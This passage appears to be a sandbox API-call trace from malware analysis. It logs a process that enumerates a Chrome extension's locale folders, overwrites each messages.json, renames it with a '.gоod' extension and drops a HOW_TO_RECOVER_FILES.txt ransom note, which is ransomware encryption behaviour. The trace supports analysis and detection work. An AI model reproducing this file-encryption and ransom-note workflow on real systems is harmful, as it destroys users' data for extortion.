ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x56614ce8, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x56614ce8, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv", cAlternateFileName="")) returned 1 [0272.067] FindNextFileW (in: hFindFile=0x134b2e0, lpFindFileData=0x1f6e8020 | out: lpFindFileData=0x1f6e8020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56621036, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x56625e59, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x56625e59, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="th", cAlternateFileName="")) returned 1 [0272.067] FindNextFileW (in: hFindFile=0x134b2e0, lpFindFileData=0x1f6e8020 | out: lpFindFileData=0x1f6e8020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5662fa97, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x566348bd, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x566348bd, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr", cAlternateFileName="")) returned 1 [0272.067] FindNextFileW (in: hFindFile=0x134b2e0, lpFindFileData=0x1f6e8020 | out: lpFindFileData=0x1f6e8020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5663bdec, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x56645a2e, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x56645a2e, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="uk", cAlternateFileName="")) returned 1 [0272.068] FindNextFileW (in: hFindFile=0x134b2e0, lpFindFileData=0x1f6e8020 | out: lpFindFileData=0x1f6e8020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5664cf56, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x566592b7, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x566592b7, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vi", cAlternateFileName="")) returned 1 [0272.068] FindNextFileW (in: hFindFile=0x134b2e0, lpFindFileData=0x1f6e8020 | out: lpFindFileData=0x1f6e8020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x566607e6, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x56667d12, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x56667d12, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh_CN", cAlternateFileName="")) returned 1 [0272.068] FindNextFileW (in: hFindFile=0x134b2e0, lpFindFileData=0x1f6e8020 | out: lpFindFileData=0x1f6e8020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5667195d, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x56678e80, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x56678e80, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh_TW", cAlternateFileName="")) returned 1 [0272.068] FindNextFileW (in: hFindFile=0x134b2e0, lpFindFileData=0x1f6e8020 | out: lpFindFileData=0x1f6e8020*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0272.068] FindClose (in: hFindFile=0x134b2e0 | out: hFindFile=0x134b2e0) returned 1 [0272.069] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e8280) returned 1 [0272.069] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e8240) returned 1 [0272.069] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e7910) returned 1 [0272.069] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ar", nBufferLength=0x105, lpBuffer=0x1f6e73b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ar", lpFilePart=0x0) returned 0x7b [0272.069] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ar\\*", lpFindFileData=0x1f6e7630 | out: lpFindFileData=0x1f6e7630*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x560a9fcc, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x560dad1e, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x560dad1e, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134abc0 [0272.070] FindNextFileW (in: hFindFile=0x134abc0, lpFindFileData=0x1f6e75f0 | out: lpFindFileData=0x1f6e75f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x560a9fcc, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x560dad1e, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x560dad1e, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0272.070] FindNextFileW (in: hFindFile=0x134abc0, lpFindFileData=0x1f6e75f0 | out: lpFindFileData=0x1f6e75f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x560dad1e, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x560dd406, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x56c9fbb2, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0xf6, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0272.071] FindNextFileW (in: hFindFile=0x134abc0, lpFindFileData=0x1f6e75f0 | out: lpFindFileData=0x1f6e75f0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0272.071] FindClose (in: hFindFile=0x134abc0 | out: hFindFile=0x134abc0) returned 1 [0272.071] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e7850) returned 1 [0272.071] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e7810) returned 1 [0272.071] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e7910) returned 1 [0272.071] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ar", nBufferLength=0x105, lpBuffer=0x1f6e73b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ar", lpFilePart=0x0) returned 0x7b [0272.071] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ar\\*", lpFindFileData=0x1f6e7630 | out: lpFindFileData=0x1f6e7630*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x560a9fcc, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x560dad1e, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x560dad1e, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134aa40 [0272.071] FindNextFileW (in: hFindFile=0x134aa40, lpFindFileData=0x1f6e75f0 | out: lpFindFileData=0x1f6e75f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x560a9fcc, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x560dad1e, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x560dad1e, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0272.071] FindNextFileW (in: hFindFile=0x134aa40, lpFindFileData=0x1f6e75f0 | out: lpFindFileData=0x1f6e75f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x560dad1e, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x560dd406, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x56c9fbb2, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0xf6, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0272.071] FindNextFileW (in: hFindFile=0x134aa40, lpFindFileData=0x1f6e75f0 | out: lpFindFileData=0x1f6e75f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x560dad1e, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x560dd406, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x56c9fbb2, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0xf6, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0272.072] FindClose (in: hFindFile=0x134aa40 | out: hFindFile=0x134aa40) returned 1 [0272.072] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e7850) returned 1 [0272.072] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e7810) returned 1 [0272.072] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ar\\messages.json", nBufferLength=0x105, lpBuffer=0x1f6e71f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ar\\messages.json", lpFilePart=0x0) returned 0x89 [0272.072] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e76c0) returned 1 [0272.072] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ar\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ar\\messages.json"), fInfoLevelId=0x0, lpFileInformation=0x39afce0 | out: lpFileInformation=0x39afce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x560dad1e, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x560dd406, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x56c9fbb2, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0xf6)) returned 1 [0272.072] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e7680) returned 1 [0272.072] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ar\\messages.json", nBufferLength=0x105, lpBuffer=0x1f6e7050, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ar\\messages.json", lpFilePart=0x0) returned 0x89 [0272.072] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e7570) returned 1 [0272.072] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ar\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ar\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x86c [0272.072] GetFileType (hFile=0x86c) returned 0x1 [0272.072] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e74e0) returned 1 [0272.072] GetFileType (hFile=0x86c) returned 0x1 [0272.072] GetFileSize (in: hFile=0x86c, lpFileSizeHigh=0x1f6e7718 | out: lpFileSizeHigh=0x1f6e7718*=0x0) returned 0xf6 [0272.072] ReadFile (in: hFile=0x86c, lpBuffer=0x39b0190, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f6e7648, lpOverlapped=0x0 | out: lpBuffer=0x39b0190*, lpNumberOfBytesRead=0x1f6e7648*=0xf6, lpOverlapped=0x0) returned 1 [0272.073] CloseHandle (hObject=0x86c) returned 1 [0272.136] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ar\\messages.json", nBufferLength=0x105, lpBuffer=0x1f6e7050, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ar\\messages.json", lpFilePart=0x0) returned 0x89 [0272.136] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e7570) returned 1 [0272.136] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ar\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ar\\messages.json"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x86c [0272.138] GetFileType (hFile=0x86c) returned 0x1 [0272.138] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e74e0) returned 1 [0272.138] GetFileType (hFile=0x86c) returned 0x1 [0272.138] WriteFile (in: hFile=0x86c, lpBuffer=0x3839b90*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1f6e7558, lpOverlapped=0x0 | out: lpBuffer=0x3839b90*, lpNumberOfBytesWritten=0x1f6e7558*=0x100, lpOverlapped=0x0) returned 1 [0272.139] CloseHandle (hObject=0x86c) returned 1 [0272.139] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ar\\messages.json", nBufferLength=0x105, lpBuffer=0x1f6e71f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ar\\messages.json", lpFilePart=0x0) returned 0x89 [0272.139] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ar\\messages.json.gоod", nBufferLength=0x105, lpBuffer=0x1f6e71f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ar\\messages.json.gоod", lpFilePart=0x0) returned 0x8e [0272.139] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e7680) returned 1 [0272.139] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ar\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ar\\messages.json"), fInfoLevelId=0x0, lpFileInformation=0x1f6e7760 | out: lpFileInformation=0x1f6e7760*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x560dad1e, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x560dd406, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x9e6bb438, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x100)) returned 1 [0272.139] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e7640) returned 1 [0272.139] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ar\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ar\\messages.json"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ar\\messages.json.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ar\\messages.json.gоod")) returned 1 [0272.140] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ar\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f6e7360, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ar\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x94 [0272.140] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e7880) returned 1 [0272.140] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ar\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ar\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x86c [0272.140] GetFileType (hFile=0x86c) returned 0x1 [0272.141] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e77f0) returned 1 [0272.141] GetFileType (hFile=0x86c) returned 0x1 [0272.141] WriteFile (in: hFile=0x86c, lpBuffer=0x383d4c8*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f6e7948, lpOverlapped=0x0 | out: lpBuffer=0x383d4c8*, lpNumberOfBytesWritten=0x1f6e7948*=0x5d0, lpOverlapped=0x0) returned 1 [0272.142] CloseHandle (hObject=0x86c) returned 1 [0272.142] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e7910) returned 1 [0272.142] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\bg", nBufferLength=0x105, lpBuffer=0x1f6e73b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\bg", lpFilePart=0x0) returned 0x7b [0272.142] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\bg\\*", lpFindFileData=0x1f6e7630 | out: lpFindFileData=0x1f6e7630*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5611a4d4, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x561219ea, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x561219ea, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134b1c0 [0272.143] FindNextFileW (in: hFindFile=0x134b1c0, lpFindFileData=0x1f6e75f0 | out: lpFindFileData=0x1f6e75f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5611a4d4, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x561219ea, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x561219ea, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0272.143] FindNextFileW (in: hFindFile=0x134b1c0, lpFindFileData=0x1f6e75f0 | out: lpFindFileData=0x1f6e75f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x561219ea, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x561240d6, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x56c9fbb2, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x108, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0272.143] FindNextFileW (in: hFindFile=0x134b1c0, lpFindFileData=0x1f6e75f0 | out: lpFindFileData=0x1f6e75f0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0272.143] FindClose (in: hFindFile=0x134b1c0 | out: hFindFile=0x134b1c0) returned 1 [0272.143] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e7850) returned 1 [0272.143] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e7810) returned 1 [0272.143] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e7910) returned 1 [0272.143] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\bg", nBufferLength=0x105, lpBuffer=0x1f6e73b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\bg", lpFilePart=0x0) returned 0x7b [0272.143] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\bg\\*", lpFindFileData=0x1f6e7630 | out: lpFindFileData=0x1f6e7630*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5611a4d4, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x561219ea, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x561219ea, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134abc0 [0272.143] FindNextFileW (in: hFindFile=0x134abc0, lpFindFileData=0x1f6e75f0 | out: lpFindFileData=0x1f6e75f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5611a4d4, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x561219ea, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x561219ea, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0272.144] FindNextFileW (in: hFindFile=0x134abc0, lpFindFileData=0x1f6e75f0 | out: lpFindFileData=0x1f6e75f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x561219ea, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x561240d6, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x56c9fbb2, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x108, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0272.144] FindNextFileW (in: hFindFile=0x134abc0, lpFindFileData=0x1f6e75f0 | out: lpFindFileData=0x1f6e75f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x561219ea, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x561240d6, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x56c9fbb2, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x108, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0272.144] FindClose (in: hFindFile=0x134abc0 | out: hFindFile=0x134abc0) returned 1 [0272.144] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e7850) returned 1 [0272.144] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e7810) returned 1 [0272.144] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User 